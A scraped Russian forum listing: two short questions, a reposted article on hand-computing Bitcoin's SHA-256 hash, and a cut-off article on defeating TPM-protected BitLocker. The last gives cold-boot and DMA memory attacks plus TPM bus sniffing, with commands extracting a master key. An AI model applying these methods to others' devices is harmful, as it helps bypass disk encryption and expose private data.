Replies: 7 Views: 2K

Окей, гугл. Есть зашифрованные Трукриптом, Верой, Луксом винты
как такой винт целиком и полностью правильнее бекапить в таком криптованном отмонтированном виде? просто но надежно и в лоб, без синхронизаций и приблуд чтобы и не спалить нигде пароль, и не просрать данные
дефолтные тулсы отпадают сразу по понятным причинам, нам нужно побайтовое надежное копирование
linux dd? rsync? veeam? ваши интересные варианты?

Сжатие без потерь, определить метод.
ID: 676536fbb4103b69df373877
Thread ID: 49266
Created: 2021-03-12T19:43:42+0000
Last Post: 2021-03-14T15:52:43+0000
Author: roshka
Replies: 5 Views: 2K

Возможно ли определить метод (алгоритм) компрессии, если в распоряжении нет исходного файла целиком (только часть данных)?

Mining Bitcoin with pencil and paper: 0.67 hashes per day
ID: 676536fbb4103b69df37387d
Thread ID: 48533
Created: 2021-02-23T21:39:45+0000
Last Post: 2021-02-23T21:39:45+0000
Author: ThunderFish
Prefix: Статья
Replies: 0 Views: 2K

Mining Bitcoin with pencil and paper: 0.67 hashes per day
I decided to see how practical it would be to mine Bitcoin with pencil and paper. It turns out that the SHA-256 algorithm used for mining is pretty simple and can in fact be done by hand. Not surprisingly, the process is extremely slow compared to hardware mining and is entirely impractical. But performing the algorithm manually is a good way to understand exactly how it works.

The mining process
Bitcoin mining is a key part of the security of the Bitcoin system. The idea is that Bitcoin miners group a bunch of Bitcoin transactions into a block, then repeatedly perform a cryptographic operation called hashing zillions of times until someone finds a special extremely rare hash value. At this point, the block has been mined and becomes part of the Bitcoin blockchain. The hashing task itself doesn't accomplish anything useful in itself, but because finding a successful block is so difficult, it ensures that no individual has the resources to take over the Bitcoin system. For more details on mining, see my [Bitcoin mining article](https://www.righto.com/2014/02/bitcoin-mining- hard-way-algorithms.html).

A cryptographic hash function takes a block of input data and creates a smaller, unpredictable output. The hash function is designed, so there's no "shortcut" to get the desired output - you just have to keep hashing blocks until you find one by brute force that works. For Bitcoin, the hash function is a function called SHA-256. To provide additional security, Bitcoin applies the SHA-256 function twice, a process known as double-SHA-256.

In Bitcoin, a successful hash is one that starts with enough zeros. Just as it is rare to find a phone number or license plate ending in multiple zeros, it is rare to find a hash starting with multiple zeros. But Bitcoin is exponentially harder. Currently, a successful hash must start with approximately 17 zeros, so only one out of 1.4x1020 hashes will be successful. In other words, finding a successful hash is harder than finding a particular grain of sand out of all the grains of sand on Earth.

The following diagram shows a block in the Bitcoin blockchain along with its hash. The yellow bytes are hashed to generate the block hash. In this case, the resulting hash starts with enough zeros, so mining was successful. However, the hash will almost always be unsuccessful. In that case, the miner changes the nonce value or other block contents and tries again.

The SHA-256 hash algorithm used by Bitcoin
The SHA-256 hash algorithm takes input blocks of 512 bits (i.e. 64 bytes), combines the data cryptographically, and generates a 256-bit (32 byte) output. The SHA-256 algorithm consists of a relatively simple round repeated 64 times. The diagram below shows one round, which takes eight 4-byte inputs, A through H, performs a few operations, and generates new values of A through H.

The blue boxes mix up the values in non-linear ways that are hard to analyze cryptographically. Since the algorithm uses several different functions, discovering an attack is harder. (If you could figure out a mathematical shortcut to generate successful hashes, you could take over Bitcoin mining.)

The Ma majority box looks at the bits of A, B, and C. For each position, if the majority of the bits are 0, it outputs 0. Otherwise it outputs 1. That is, for each position in A, B, and C, look at the number of 1 bits. If it is zero or one, output 0. If it is two or three, output 1.

The Σ0 box rotates the bits of A to form three rotated versions, and then sums them together modulo 2. In other words, if the number of 1 bits is odd, the sum is 1; otherwise, it is 0. The three values in the sum are A rotated right by 2 bits, 13 bits, and 22 bits.

The Ch "choose" box chooses output bits based on the value of input E. If a bit of E is 1, the output bit is the corresponding bit of F. If a bit of E is 0, the output bit is the corresponding bit of G. In this way, the bits of F and G are shuffled together based on the value of E.

The next box Σ1 rotates and sums the bits of E, similar to Σ0 except the shifts are 6, 11, and 25 bits.

The red boxes perform 32-bit addition, generating new values for A and E. The input Wt is based on the input data, slightly processed. (This is where the input block gets fed into the algorithm.) The input Kt is a constant defined for each round.

As can be seen from the diagram above, only A and E are changed in a round. The other values pass through unchanged, with the old A value becoming the new B value, the old B value becoming the new C value and so forth. Although each round of SHA-256 doesn't change the data much, after 64 rounds the input data will be completely scrambled.

Manual mining​

The video below shows how the SHA-256 hashing steps described above can be performed with pencil and paper. I perform the first round of hashing to mine a block. Completing this round took me 16 minutes, 45 seconds.

To explain what's on the paper: I've written each block A through H in hex on a separate row and put the binary value below. The maj operation appears below C, and the shifts and Σ0 appear above row A. Likewise, the choose operation appears below G, and the shifts and Σ1 above E. In the lower right, a bunch of terms are added together, corresponding to the first three red sum boxes. In the upper right, this sum is used to generate the new A value, and in the middle right, this sum is used to generate the new E value. These steps all correspond to the diagram and discussion above.

I also manually performed another hash round, the last round to finish hashing the Bitcoin block. In the image below, the hash result is highlighted in yellow. The zeroes in this hash show that it is a successful hash. Note that the zeroes are at the end of the hash. The reason is that Bitcoin inconveniently reverses all the bytes generated by SHA-256.

What this means for mining hardware​

Each step of SHA-256 is very easy to implement in digital logic - simple Boolean operations and 32-bit addition. (If you've studied electronics, you can probably visualize the circuits already.) For this reason, custom ASIC chips can implement the SHA-256 algorithm very efficiently in hardware, putting hundreds of rounds on a chip in parallel. The image below shows a mining chip that runs at 2-3 billion hashes/second; Zeptobars has more photos.

Conclusion​

The SHA-256 algorithm is surprisingly simple, easy enough to do by hand. (The elliptic curve algorithm for signing Bitcoin transactions would be very painful to do by hand since it has lots of multiplication of 32-byte integers.) Doing one round of SHA-256 by hand took me 16 minutes, 45 seconds. At this rate, hashing a full Bitcoin block (128 rounds) would take 1.49 days, for a hash rate of 0.67 hashes per day (although I would probably get faster with practice). In comparison, current Bitcoin mining hardware does several terahashes per second, about a quintillion times faster than my manual hashing. Needless to say, manual Bitcoin mining is not at all practical.
A Reddit reader asked about my energy consumption. There's not much physical exertion, so assuming a resting metabolic rate of 1500kcal/day, manual hashing works out to almost 10 megajoules/hash. A typical energy consumption for mining hardware is 1000 megahashes/joule. So I'm less energy efficient by a factor of 10^16, or 10 quadrillion. The next question is the energy cost. A cheap source of food energy is [donuts](http://www.mymoneyblog.com/what-does-200-calories-cost-the- economics-of-obesity.html) at $0.23 for 200 kcalories. Electricity here is $0.15/kilowatt-hour, which is cheaper by a factor of 6.7 - closer than I expected. Thus my energy cost per hash is about 67 quadrillion times that of mining hardware. It's clear I'm not going to make my fortune off manual mining, and I haven't even included the cost of all the paper and pencils I'll need.

2017 edit: My Bitcoin mining on paper system is part of the book The Objects That Power the Global Economy, so take a look.

Follow me on Twitter to find out about my latest blog posts.

Notes

It's not exactly the number of zeros at the start of the hash that matters. To be precise, the hash must be less than a particular value that depends on the current Bitcoin difficulty level.
The source of the constants used in SHA-256 is interesting. The NSA designed the SHA-256 algorithm and picked the values for these constants, so how do you know they didn't pick special values that let them break the hash? To avoid suspicion, the initial hash values come from the square roots of the first 8 primes, and the Kt values come from the cube roots of the first 64 primes. Since these constants come from a simple formula, you can trust that the NSA didn't do anything shady (at least with the constants).

Unfortunately the SHA-256 hash works on a block of 512 bits, but the Bitcoin block header is more than 512 bits. Thus, a second set of 64 SHA-256 hash rounds is required on the second half of the Bitcoin block. Next, Bitcoin uses double-SHA-256 , so a second application of SHA-256 (64 rounds) is done to the result. Adding this up, hashing an arbitrary Bitcoin block takes 192 rounds in total. However there is a shortcut. Mining involves hashing the same block over and over, just changing the nonce which appears in the second half of the block. Thus, mining can reuse the result of hashing the first 512 bits, and hashing a Bitcoin block typically only requires 128 rounds.

Obviously I didn't just have incredible good fortune to end up with a successful hash. I started the hashing process with a block that had already been successfully mined. In particular I used the one displayed earlier in this article.

Another problem with manual mining is new blocks are mined about every 10 minutes, so even if I did succeed in mining a block, it would be totally obsolete (orphaned) by the time I finished.

Взламываем защиту модулей TPM и шифрование BitLocker
ID: 676536fbb4103b69df373881
Thread ID: 47193
Created: 2021-01-25T18:16:13+0000
Last Post: 2021-01-25T18:16:13+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Модули TPM часто используются для шифрования дисков с помощью BitLocker даже без ведома пользователя. Система загружается и зашифрованный том разблокируется настолько прозрачно, что пользователь может и не подозревать, что накопитель в его устройстве зашифрован. Расшифровать такой диск можно лишь с использованием ключа восстановления или… или взломав чип TPM, в котором хранится ключ шифрования.

ЧТО ТАКОЕ TPM И ПОЧЕМУ ОН МЕШАЕТ РАСШИФРОВАТЬ ДИСК​

Trusted Platform Module (TPM) — технология безопасности, представленная в виде дополнительного чипа, распаянного или установленного на материнской плате компьютера. Несмотря на то что официально устройства с TPM в Россию не поставляются, так как содержат несертифицированные средства шифрования, технология присутствует в большинстве ноутбуков. Чип TPM либо распаян на материнской плате (но не активирован в BIOS), либо, что случается гораздо чаще, присутствует в «виртуальном» виде благодаря использованию платформы Intel PTT (Intel Platform Trust Technology).

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17902%2Fptt2.jpg&hash=d22fe28e8c41025731881f9a1f39dc18)
Для пользователя и операционной системы практической разницы между этими подходами нет, однако с точки зрения уязвимостей и их эксплуатации разница существует.

Если рассматривать модуль TPM в качестве аппаратного «довеска», то он состоит из криптографического процессора и встроенной памяти небольшого объема. При этом криптографический сопроцессор не используется для шифрования данных — как, например, это сделала Apple с чипом T2.

В рамках модели безопасности TPM основная функция чипа заключается в безопасном хранении и генерации криптографических ключей, а также аппаратном контроле за легитимностью их использования исключительно доверенными агентами. В типичной конфигурации в роли доверенного агента выступает операционная система Windows, причем не любая, а именно та, в которой был сгенерирован конкретный криптографический ключ.

Разумеется, как самой операционной системе, так и ее компонентам и приложениям доступны интерфейсы для работы с TPM и ключами шифрования — что тем не менее не означает полной бесконтрольности.

Почему одни диски, зашифрованные BitLocker, можно взломать методом перебора, в то время как другие, точно такие же, нельзя? Мешает то, что пароль в таких дисках не используется вовсе, — перебирать‑то, собственно, нечего. Ключ шифрования хранится в аппаратном модуле TPM, и именно этот модуль будет решать, выдать ключ по запросу, отказать в доступе или вовсе заблокировать чип, заставив расшифровывать контейнер другим способом. (В скобках замечу, что «другой способ» — это резервный ключ, так называемый ключ восстановления доступа, он всегда сохраняется при создании тома или на диске, или в облаке Microsoft, или в Active Directory. Зашифрованный этим ключом ключ шифрования диска также сохраняется в заголовке тома BitLocker.)

Если ты сталкивался с экраном наподобие того, который приводится ниже, ты поймешь, о чем идет речь.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17903%2Frp- example1.jpg&hash=95d7a63b96b63e6a01f0f1877df23bf4)

Если хочешь — можешь почитать, [где взять ключ восстановления доступа](https://docs.microsoft.com/ru-ru/windows/security/information- protection/bitlocker/bitlocker-recovery-guide-plan). Я же продолжу рассказ о модулях TPM.

АРХИТЕКТУРА ЗАЩИТЫ​

С точки зрения пользователя, защита, которую обеспечивает модуль TPM, не только совершенно прозрачна, но и абсолютно незаметна. Я много раз слышал о случаях, когда владелец устройства утверждал, что никакого шифрования нет, — при этом системный раздел был зашифрован BitLocker. И если порой в утверждениях пользователей можно было усомниться, то в остальных случаях их слова подозрений не вызывали. Как правило, речь идет о функции шифрования устройств BitLocker Device Encryption, описанной в статье «[Общие сведения о функции шифровании устройств BitLocker в Windows 10](https://docs.microsoft.com/ru-ru/windows/security/information- protection/bitlocker/bitlocker-device-encryption-overview-windows-10)». Если не вдаваться в детали, Windows (независимо от редакции — функция поддерживается даже в Windows 10 Home) автоматически зашифрует системный раздел в фоновом режиме при выполнении нескольких условий:

  1. В устройстве присутствует и активирован чип TPM или технология Intel PTT.
  2. Устройство поддерживает Modern Standby.
  3. Пользователь с правами администратора вошел в систему через учетную запись Microsoft Account или использовал для входа учетную запись домена.
  4. Система автоматически создаст ключ восстановления BitLocker и загрузит его в Microsoft Account пользователя или Active Directory.

В ранних сборках Windows дополнительно присутствовало требование, чтобы оперативная память была распаянной, а в качестве системного использовался твердотельный накопитель, однако в свежих версиях платформенной документации упоминаний этого я не нашел.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17898%2Fdell- docs.jpg&hash=6c71387dfe72f4c97d052943b68c8309)
Итак, ты вошел в систему с правами администратора, использовав учетную запись Microsoft Account. Системный диск был зашифрован, но ты этого даже не заметил. Через какое‑то время ты перезагрузил систему. Изменилось ли что‑нибудь в процессе загрузки? С точки зрения пользователя — ровным счетом ничего: компьютер загрузился, Windows вывела запрос пароля. К этому моменту зашифрованный BitLocker диск уже разблокирован, но ты даже не прикасался к компьютеру. С какой стороны это называется защитой?

А вот с какой. При проектировании архитектуры защиты разработчики Windows использовали модель угроз, призванную предотвратить следующие события:

  1. Вход в операционную систему в обход стандартных механизмов аутентификации.
  2. Извлечение диска и его перенос на другой компьютер с целью последующей расшифровки.
  3. Снятие образа диска и его расшифровка.
  4. Загрузка компьютера с внешнего накопителя с целью расшифровки системного раздела.
  5. Изменение конфигурации загрузки с целью расшифровки системного раздела.

Таким образом, если тебе известен пароль входа в систему — ты не испытаешь никаких неудобств от того, что диск зашифрован. А вот если пароля у тебя нет, то тебе не удастся даже запустить перебор: база данных SAM хранится на зашифрованном диске, и доступа к ней у тебя не будет до тех пор, пока ты не справишься с шифрованием. Для параноиков доступны варианты усиленной защиты: например, на системный раздел можно дополнительно установить PIN-код, сохранить ключ на USB-накопителе или использовать сразу оба способа. В разделе, посвященном противодействию атакам, как раз и упоминается этот способ.

КАК УСТРОЕНА ЗАЩИТА​

В BitLocker используется симметричное шифрование диска. По умолчанию — алгоритм AES с ключом длиной 128 бит. В свежих сборках Windows 10 применяется режим XTS; более старые версии ОС и первый релиз Windows 10 используют режим CBC.

Как именно выполняется шифрование: средствами центрального процессора (с использованием команд AES-NI) или контроллера диска, — вопрос сложный. До недавнего времени Windows отдавала предпочтение механизмам шифрования, встроенным в контроллер диска или SSD, однако обнаруженная исследователями в целом ряде моделей уязвимость в реализации подобных механизмов заставила Microsoft отказаться от этой практики и реализовать шифрование силами центрального процессора. Впрочем, это касается только вновь создаваемых томов; уже зашифрованные диски будут продолжать использовать тот механизм, который был использован при их создании.

С нашей точки зрения, оба механизма эквивалентны. Для расшифровки диска в любом случае потребуется мастер‑ключ, который можно получить одним из нескольких способов:

  1. Расшифровать паролем, если раздел зашифрован именно таким образом.
  2. Расшифровать ключом восстановления (Recovery Key).
  3. Извлечь непосредственно из модуля TPM.

О парольных атаках я писал уже достаточно; извлечение ключа восстановления — интересная тема, заслуживающая отдельной статьи. Сейчас нас интересует исключительно третий вариант — извлечение ключа из модуля TPM.

ЗАГРУЗКА​

Модуль TPM или технология Intel PTT используется в том числе для аппаратного контроля «доверенной загрузки» (Trusted boot). Цель «доверенной загрузки» — убедиться, что загружена именно та операционная система и именно в той конфигурации, которая использовалась при создании ключей. Для этого используется технология, напоминающая блокчейн. Строится своеобразная «цепочка доверия» — последовательность блоков с информацией об этапах загрузки, выстроенная в хронологическом порядке. Так же как и в блокчейне, информацию в цепочке нельзя изменить — только добавить. «Цепочка доверия» сохраняется в регистрах PCR (Platform Configuration Register).

Для начала рассмотрим работу механизма «доверенной загрузки» и роль модуля TPM без шифрования. Во время загрузки происходят следующие операции.

  1. При включении компьютера управление получает первый доверенный модуль SRTM (Static root of trust for measures), который находится в области ROM, защищенной от записи. Важный момент: SRTM по определению статичен и защищен от изменений. Уязвимость в этом модуле может поставить под угрозу всю систему безопасности, как это произошло в случае с найденной в загрузчиках Apple уязвимостью checkm8. Подробно об SRTM и другой технологии — DRTM можно узнать из ответа на Stack Exchange «How does the TPM perform integrity measurements on a system?».
  2. SRTM делает первую запись в цепочке: в регистр PCR0 записывается контрольная сумма программного кода BIOS. Если в системе прописался руткит, цепочка доверенной загрузки будет прервана (см. «Как система Windows Defender System Guard защищает Windows 10 от руткитов»).
  3. Теперь управление получает доверенный UEFI BIOS, который формирует дальнейшие компоненты цепочки. При этом анализируется множество параметров: таблицы MBR, загрузчика bootloader и других. В цепочку добавляется очередная контрольная сумма, в создании которой используется информация из предыдущего регистра PCR. Нарушение любого из компонентов приводит к изменению содержимого регистров PCR и прерыванию доверенной загрузки.
  4. Управление передается загрузчику (bootloader), который считывает и запускает код из MBR диска. При этом в цепочку загрузки добавляется еще несколько записей.
  5. Запускается ядро операционной системы, которое добавляет очередные элементы в цепочку.
  6. Загружается операционная система. В результате на выходе — набор данных в регистрах PCR, однозначно описывающий весь процесс загрузки. От модификации содержимое регистров PCR защищается на аппаратном уровне модулем TPM.

Отлично, система загрузилась, содержимое регистров PCR указывает на доверенный статус загрузки. Теперь добавим шифрование.

СИСТЕМНЫЙ РАЗДЕЛ ЗАШИФРОВАН BITLOCKER​

В предыдущем сценарии системный раздел не был зашифрован. Теперь представим, что используется система с шифрованием.

Когда пользователь включает шифрование загрузочного раздела (или же Windows самостоятельно шифрует загрузочный диск при помощи BitLocker Device Encryption в автоматическом режиме), случайным образом генерируется мастер‑ключ. Кроме того, создается и ключ восстановления (также случайный набор данных). Мастер‑ключ сохраняется в модуле TPM, а его копия шифруется ключом восстановления и в зашифрованном виде записывается в заголовок диска. Ключ восстановления при этом обязательно сохраняется (если в политиках безопасности конкретной системы не указано иное). Если речь идет об автоматическом шифровании BitLocker Device Encryption, то ключ попадает в Microsoft Account того пользователя с привилегиями администратора, который первым зашел в систему с учетной записью Microsoft (а не локальной учетной записью Windows), либо в Active Directory. При шифровании, которое инициируется самим пользователем, ключ восстановления можно сохранить на диск или распечатать.

Итак, диск зашифрован, компьютер перезагружен. При этом:

  1. Модуль TPM обнуляет содержимое всех регистров PCR.
  2. Выполняются пункты 1–5 доверенной загрузки системы вплоть до загрузки ядра. Загрузка ядра ОС возможна потому, что ядро системы хранится на отдельном небольшом разделе, который не будет зашифрован BitLocker, а вот файлы подкачки, гибернации и база данных SAM — уже на основном зашифрованном разделе.
  3. Ядро системы пытается продолжить загрузку. Для этого необходимо смонтировать зашифрованный раздел, что, в свою очередь, требует ключа для его расшифровки. Ключ хранится в TPM; ядро системы запрашивает его из модуля.
  4. Получив запрос, модуль TPM анализирует содержимое регистров PCR, чтобы проверить цепочку загрузки. Если все в порядке, то модуль TPM выдаст системе ключ шифрования, ядро смонтирует системный раздел и загрузка продолжится. Обрати внимание: к моменту, когда пользователь видит запрос на ввод пароля от учетной записи Windows, зашифрованный BitLocker раздел уже смонтирован.
  5. Если чип обнаруживает, что цепочка доверия повреждена, ключ не выдается. Пользователь при этом видит следующее сообщение.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17903%2Frp- example1.jpg&hash=95d7a63b96b63e6a01f0f1877df23bf4)
Модуль TPM может отказаться выдавать ключ при изменении любого компонента системы, участвующего в создании цепочки доверенной загрузки. Например, обновление UEFI BIOS, изменение в MBR или загрузчике системы приведет к такому результату — о чем регулярно появляются сообщения на форумах. Особенно неприятным нарушение доверенной цепочки оказывается для тех пользователей, которые и не подозревали, что их загрузочный диск зашифрован.

В то же время требование ввести ключ восстановления встречается далеко не так часто, насколько могло бы с учетом частоты обновлений Windows. Почему? Дело в том, что при обновлении компонентов, участвующих в создании цепочки доверия, система временно отключает BitLocker на системном разделе. При этом мастер‑ключ расшифровывается и записывается в заголовок диска в открытом виде, что позволяет ядру системы смонтировать зашифрованный раздел, не отправляя запрос в TPM. После того как соответствующие компоненты будут обновлены, Windows вновь запишет ключ в модуль TPM, сохранив актуальное состояние доверенной загрузки.

Аналогичным образом должно выполняться и обновление сторонних компонентов — например, версии UEFI BIOS и прошивок для некоторых компонентов аппаратного обеспечения (таких как встроенные датчики отпечатков пальцев). При обновлении этих компонентов пользователь, как правило, получает сообщение, что необходимо приостановить работу BitLocker. Это можно проделать как в интерактивном режиме из панели управления (System and Security → BitLocker Drive Encryption → Suspend protection), так и из командной строки (manage-bde -pause) или PowerShell (Suspend-BitLocker). Как правило, соответствующая утилита установки делает это в автоматическом режиме.

ПЫТАЕМСЯ ВЗЛОМАТЬ TPM​

Предположим, что в твоих руках компьютер (чаще всего — ноутбук), системный раздел которого зашифрован, а пароль для входа в учетную запись неизвестен или, в терминах пользователей, которые чаще всего обращаются с такой проблемой, — «не подходит». Цель — получить доступ к данным, среди которых, конечно же, много ценных уникальных файлов, и, разумеется, нет ни единой резервной копии (иначе они не были бы уникальными, ведь так?).

Несмотря на то что системный раздел зашифрован, первый шаг — это снять образ диска. Для этого, скорее всего, придется загрузиться с флешки — вариантов здесь множество от различных версий Linux до утилит «все в одном» наподобие Elcomsoft System Recovery.

Далее проанализируй заголовок тома BitLocker и попытайся узнать, какие именно протекторы могут быть использованы, чтобы смонтировать диск. Проще всего это сделать в Elcomsoft System Recovery, которая выведет список доступных для конкретного тома протекторов.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17899%2Fesr- protectors.jpg&hash=22c026e6bfcd4f63cfc41148fab17380)
Чаще всего в число протекторов входят TPM или пароль. Гораздо реже встречаются комбинации TPM + PIN или TPM + USB. Практически всегда в списке протекторов присутствует ключ восстановления (Recovery Key). Вот полный список возможных комбинаций протекторов:

  • Recovery Key, ключ восстановления. Присутствует практически всегда. Позволяет разблокировать том вводом длинного ключа восстановления (генерируется в момент создания тома);
  • TPM. «Вы находитесь здесь». Ключ, который хранится в модуле TPM;
  • Пароль. Чаще всего используется для шифрования внешних накопителей и несистемных разделов. На загрузочных дисках встречается крайне редко;
  • USB. Своеобразный «колхоз», позволяющий включить защиту BitLocker на загрузочном диске, если в компьютере нет ни модуля TPM, ни поддержки Intel PTT. Для активации нужно редактировать политики Windows, поэтому относится к разряду экзотических;
  • TPM + PIN, TPM + USB, TPM + PIN + USB. Данные комбинации потребуют наличия всех перечисленных протекторов. Встречаются крайне редко. Комбинация TPM + PIN рекомендуется в документации от Microsoft в качестве защиты от некоторых типов атак.

ПЫТАЕМСЯ ПОЛУЧИТЬ КЛЮЧ ШИФРОВАНИЯ ИЗ ОПЕРАТИВНОЙ ПАМЯТИ​

Самый простой способ получить доступ к зашифрованному разделу, работающий независимо от установленных протекторов, — извлечь ключ шифрования непосредственно из оперативной памяти компьютера. Это самый известный тип атаки, от которого очень тяжело защититься. Впрочем, даже компания Microsoft признает, что полностью защитить содержимое зашифрованного диска от злоумышленника, который может покопаться во внутренностях компьютера, тяжело или даже невозможно.

В оперативную память компьютера ключ шифрования попадает на последнем этапе доверенной загрузки — тогда, когда ядро системы начинает загружать ОС. Отследить этот момент просто: появится окно логина в систему, где запрашивается пароль.

Microsoft активно продвигает авторизацию без пароля — простым PIN-кодом, состоящим, как правило, из четырех цифр. Всего четыре цифры? Возможно, у тебя возникнет соблазн попытаться подобрать PIN-код. В статье «[Почему ПИН‑код лучше пароля](https://docs.microsoft.com/en-us/windows/security/identity- protection/hello-for-business/hello-why-pin-is-better-than-password)» подробно объясняется, почему не следует этого делать.
Исключительная ситуация — использование дополнительного протектора (например, комбинации TPM + PIN). В этом случае модуль TPM не выдаст ключ до тех пор, пока не будет введен правильный PIN. Пытаться подобрать его — плохая идея (см. врезку).

Разумеется, если пароль (или PIN) от учетной записи известен, то расшифровка тома тривиальна: достаточно создать образ оперативной памяти и запустить поиск ключей шифрования (такая возможность есть, например, в портативной версии Elcomsoft Forensic Disk Decryptor). Нас же интересует вариант, когда пароль от учетной записи неизвестен.

АТАКА МЕТОДОМ ХОЛОДНОЙ ЗАГРУЗКИ​

Метод основан на том, что содержимое оперативной памяти компьютера обнуляется не мгновенно, а лишь спустя время после отключения питания. Если же модули оперативной памяти охладить до отрицательной температуры, то время удержания становится вполне достаточным для того, чтобы успеть переставить модули в тестовый стенд, после чего сразу же начать загрузку в Linux с расширением ядра LiME.

Последовательность действий здесь такая:

  1. Получаем доступ к модулям оперативной памяти. Если они распаяны, метод не сработает.
  2. Включаем исследуемый компьютер, дожидаемся окна запроса пароля.
  3. Замораживаем модули оперативной памяти.
  4. Отключаем питание (ни в коем случае не пользуемся функцией shutdown!).
  5. Быстро переносим модули в тестовый стенд.
  6. Сразу же загружаемся с флешки, извлекаем дамп памяти.
  7. Пытаемся обнаружить ключи шифрования.

Метод сложный и рискованный; используют его редко даже в оборудованных лабораториях.

  • Достоинства метода: высокая эффективность, сложно защититься.
  • Недостатки: чрезвычайно сложный и трудоемкий, высок риск повредить оборудование.

МЕТОД ДОСТУПА ЧЕРЕЗ DMA​

Если компьютер оборудован интерфейсом FireWire, Thunderbolt 3 или PC Card и при этом работает под управлением старой версии Windows, то можно попытаться получить доступ к содержимому оперативной памяти через них. Атака основана на том факте, что перечисленные выше интерфейсы имеют прямой доступ к шине PCI, которая, в свою очередь, имеет прямой доступ к памяти компьютера (Direct Memory Access, DMA).

Собственно образ памяти создается утилитой Inception для Linux.

К сожалению, метод сильно устарел: он работал для компьютеров под управлением Windows 7 и 8. Уже в Windows 8.1 прямой доступ к памяти был закрыт, если система находится в режиме сна или экран устройства заблокирован (показывается окно запроса пароля на вход в систему). Если же тебе повезло и дамп памяти создать получилось, исследовать его можно в Elcomsoft Forensic Disk Decryptor в полностью автоматическом режиме.

  • Достоинства метода: просто использовать.
  • Недостатки: эксплоит давно закрыт, работает только для старых систем, требует наличия портов FireWire, Thunderbolt 3 или PC Card.

СНИФФЕР ДЛЯ TPM​

Еще одна уязвимость TPM кроется в самой архитектуре модулей. Пожалуй, именно этот метод представляет наибольший интерес по совокупности факторов. С одной стороны, он не требует охлаждать модули оперативной памяти и работает на всех современных системах, в которых используется TPM; с другой — для его использования нужно специальное оборудование и опыт работы паяльником, а для систем, в которых вместо модуля TPM используется эмулятор Intel PTT, он не сработает вовсе.

Общение аппаратного модуля TPM с остальными компонентами компьютера организовано через шину данных LPC (Low Pin Count) или интерфейс SPI (Serial Peripheral Interface).

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17907%2Ftrusted- platform-module-tpm-banner.jpg&hash=5ef5c3335a9e0941df828dfe32ca0bd7)
Оба варианта используются для передачи данных от устройств, работающих с низкой скоростью. Шина LPI работает на частоте 33 МГц, а данные передаются в открытом виде без какого‑либо шифрования. Соответственно, существует возможность перехватить передаваемый мастер‑ключ атакой man in the middle. Для этого достаточно подключиться к шине LPC (или интерфейсу SPI) и использовать логический анализатор.

Денис Андзакович (Denis Andzakovic) продемонстрировал, как работает этот способ, в статье Extracting BitLocker Keys from a TPM.

Способы несколько отличаются для TPM 1.2 и TPM 2.0. В первом случае Денис использовал логический анализатор DSLogic Plus с интерфейсом USB. Несмотря на то что атака оказалась успешной, автору пришлось преодолевать слишком много препятствий, решая проблемы с синхронизацией и декодером.

Сегодня встретить TPM версии 1.2 уже тяжело; в большинстве устройств, в которых доступен этот модуль, используется версия 2.0. Для нее решение оказалось еще проще: Денис использовал FPGA-модуль с интерфейсом USB Lattice ICEStick, в который была залита специализированная прошивка для сниффинга TPM-модулей.

Подключение делается к ножкам GND, LCLK, LFRAME#, LRESET# и LAD[0:3]. Для устройства Surface 3, которое анализировал Денис (кстати, оперативная память в нем распаяна именно с целью противодействия атакам методом холодной загрузки) пришлось воспользоваться паяльником, но для десктопных версий чипа достаточно будет просто подключиться к разъему.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17906%2Ftpm- soldered-flylead.jpg&hash=5be60b97a2cdf00b1efdf44842787318)
В итоге система выглядела таким образом.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fda15905a54ce79b96098bfe94bad4fd4%2F17905%2Ftpm- reassembled2.jpg&hash=f72623f940417259f4227bf192add167)
Далее Денис выполняет команду

Code:Copy to clipboard

$ sudo python3 parse/read_serial.py /dev/ttyUSB1  | tee log1

и загружает устройство. Вот так это выглядит на экране.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2021%2F01%2F336506%2Ftpm- la.gif&hash=036f8d4242d27c4cbfcedcae32565492)
Данные из FPGA структурированы следующим образом:

Code:Copy to clipboard

b'[32 bit address][8 bit data][read (00) or write (02)]'

Для извлечения мастер‑ключа тома использовалась следующая команда:

Code:Copy to clipboard

$ cut -f 2 -d' log1 | grep '24..00$' > | perl -pe 's/.{8}(..)..\n/$1/' | grep -Po "2c0000000100000003200000(..){32}"
2c00000001000000032000009a126146b5b285c93f7c4bcd372f91d0181fe7eddc44e588459ebdb244d97baa

Мастер‑ключ успешно извлечен:

Code:Copy to clipboard

9a126146b5b285c93f7c4bcd372f91d0181fe7eddc44e588459ebdb244d97baa

Далее Денис монтирует том при помощи утилиты dislocker, которая предназначена для работы с зашифрованными BitLocker томами в Linux. Интересно то, что модули TPM 2.0 поддерживают шифрованный обмен трафиком, — в теории это способно предотвратить подобные атаки. Тем не менее Windows не использует этот режим, и уязвимость, таким образом, до сих пор не закрыта.

  • Достоинства метода: срабатывает всегда, если используется аппаратный модуль TPM и нет предварительного протектора (например, TPM + PIN).
  • Недостатки: довольно высокая трудоемкость, требуется дополнительное оборудование, легко предотвратить, установив дополнительный PIN на загрузку.

СТРАШНЫЙ СОН TPM​

Следующая уязвимость была обнаружена относительно недавно. В 2018 году корейские исследователи Сын Хун Хан (Seunghun Han), Вук Шин (Wook Shin), Чун Хёк Парк (Jun-Hyeok Park) и Хён Чун Ким (HyoungChun Kim) из National Security Research Institute представили на конференции Usenix научную работу под названием «Страшный сон».

